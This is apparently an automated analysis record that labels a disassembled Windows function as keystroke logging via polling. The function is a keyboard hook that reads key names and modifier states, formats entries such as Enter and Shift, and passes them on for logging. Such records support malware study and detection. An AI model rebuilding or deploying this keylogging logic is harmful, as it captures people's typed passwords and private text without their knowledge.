Function at 0x140012834
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14001adc0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x2d0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x78
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2f8]
mov rax, qword [0x140048060]
xor rax, rbp
mov qword [rbp + 0x290], rax
lea rcx, [0x1400544fc]
call fcn.140012e60
cmp dword [rbp + 0x2c0], 0
jne 0x14001b1aa
cmp qword [rbp + 0x2c8], 0x104
je 0x14001ae3d
cmp qword [rbp + 0x2c8], 0x100
jne 0x14001b1aa
lea rax, [rbp + 0x168]
mov rdi, rax
mov rsi, qword [rbp + 0x2d0]
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x124], 1
mov eax, dword [rbp + 0x16c]
shl eax, 0x10
mov ecx, dword [rbp + 0x124]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x124], eax
mov eax, dword [rbp + 0x170]
shl eax, 0x18
mov ecx, dword [rbp + 0x124]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x124], eax
mov r8d, 0x100
lea rdx, [rbp + 0x10]
mov ecx, dword [rbp + 0x124]
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
mov dword [rbp + 0x144], eax
lea rdx, str.Shift
lea rcx, [rbp + 0x10]
call fcn.140012fdc
test eax, eax
jne 0x14001aecd
mov dword [rbp + 0x284], 1
jmp 0x14001aed7
mov dword [rbp + 0x284], 0
movzx eax, byte [rbp + 0x284]
mov byte [0x1400488ad], al
mov byte [rbp + 0x194], 0
movzx eax, byte [0x1400488ad]
test eax, eax
je 0x14001aefd
mov byte [rbp + 0x194], 1
movzx eax, byte [rbp + 0x194]
test eax, eax
jne 0x14001af48
lea rdx, str.Shift
lea rcx, [rbp + 0x10]
call fcn.140012fdc
test eax, eax
je 0x14001af48
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14001af48
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14001af48
mov dword [rbp + 0x284], 0
jmp 0x14001af52
mov dword [rbp + 0x284], 1
movzx eax, byte [rbp + 0x284]
mov byte [rbp + 0x194], al
cmp dword [rbp + 0x144], 1
jne 0x14001afbb
mov ecx, socket
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
jne 0x14001afbb
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14001afbb
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14001afbb
mov eax, 1
imul rax, rax, 0
movzx ecx, byte [rbp + rax + 0x10]
call fcn.14001269a
mov ecx, 1
imul rcx, rcx, 0
mov byte [rbp + rcx + 0x10], al
lea rdx, str.Space
lea rcx, [rbp + 0x10]
call fcn.140012fdc
test eax, eax
jne 0x14001b02f
mov ecx, 0xa4
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14001b02f
mov ecx, 0xa2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14001b02f
mov ecx, 0xa5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14001b02f
mov ecx, 0xa3
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14001b02f
mov dword [rbp + 0x144], 1
lea r8, [0x14003d1b4]
mov edx, 0x100
lea rcx, [rbp + 0x10]
call qword [sym.imp.ucrtbased.dll_strcpy_s]
cmp dword [rbp + 0x144], 1
jle 0x14001b071
lea rdx, str.Enter
lea rcx, [rbp + 0x10]
call fcn.140012fdc
test eax, eax
jne 0x14001b071
lea r8, str._Enter__n
mov edx, 0x100
lea rcx, [rbp + 0x10]
call qword [sym.imp.ucrtbased.dll_strcpy_s]
mov eax, dword [rbp + 0x144]
add eax, 3
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 1
jle 0x14001b0e1
lea rdx, str.Backspace
lea rcx, [rbp + 0x10]
call fcn.140012fdc
test eax, eax
je 0x14001b0e1
lea rcx, [rbp + 0x10]
call fcn.140012686
mov ecx, 0x100
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x288], rax
lea rcx, [rbp + 0x10]
call fcn.140012686
lea rax, [rbp + rax + 0x10]
lea r8, [0x14003d1dc]
mov rcx, qword [rbp + 0x288]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_strcpy_s]
mov eax, dword [rbp + 0x144]
inc eax
mov dword [rbp + 0x144], eax
jmp 0x14001b108
cmp dword [rbp + 0x144], 1
jle 0x14001b108
lea rdx, str.Backspace
lea rcx, [rbp + 0x10]
call fcn.140012fdc
test eax, eax
jne 0x14001b108
mov dword [rbp + 0x144], 0xffffffff
lea rax, [rbp + 0x10]
mov qword [rbp + 0x1b8], rax
movzx eax, byte [rbp + 0x194]
test eax, eax
je 0x14001b163
cmp dword [rbp + 0x144], 1
jle 0x14001b163
mov ecx, 0x1f4
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x1b8], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r9, str.Shift
lea r8, str._s_s
mov edx, 0x1f4
mov rcx, qword [rbp + 0x1b8]
call fcn.1400128ac
jmp 0x14001b173
cmp dword [rbp + 0x144], 1
jne 0x14001b173
mov byte [0x1400488ad], 0
movzx eax, byte [0x1400488ad]
test eax, eax
jne 0x14001b190
mov edx, dword [rbp + 0x144]
mov rcx, qword [rbp + 0x1b8]
call fcn.1400128e3
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x1b8], rax
je 0x14001b1aa
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.ucrtbased.dll_free]
mov r9, qword [rbp + 0x2d0]
mov r8, qword [rbp + 0x2c8]
mov edx, dword [rbp + 0x2c0]
mov rcx, qword [0x1400488b0]
call qword [sym.imp.USER32.dll_CallNextHookEx]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140012c08
mov rax, rdi
mov rcx, qword [rbp + 0x290]
xor rcx, rbp
call fcn.140012717
lea rsp, [rbp + 0x2a0]
pop rdi
pop rsi
pop rbp
ret